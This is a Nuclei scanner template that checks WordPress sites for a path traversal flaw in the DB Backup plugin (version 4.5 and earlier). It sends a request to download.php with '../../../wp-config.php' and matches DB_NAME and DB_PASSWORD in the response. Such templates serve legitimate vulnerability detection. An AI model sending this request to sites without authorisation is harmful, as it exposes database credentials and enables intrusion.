nuclei-templates/vulnerabilities/wordpress/db-backup-lfi.yaml

id: db-backup-lfi

info:
  name: DB Backup <= 4.5 - Path Traversal File Access
  author: dhiyaneshDK
  severity: high
  description: WordPress Plugin DB Backup is prone to a directory traversal vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue can allow an attacker to obtain sensitive information that could aid in further attacks. WordPress Plugin DB Backup version 4.5 is vulnerable; prior versions may also be affected.
  reference:
    - https://wpscan.com/vulnerability/d3f1e51e-5f44-4a15-97bc-5eefc3e77536
    - https://www.exploit-db.com/exploits/35378
  tags: wordpress,wp-plugin,lfi,wp

requests:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/db-backup/download.php?file=../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200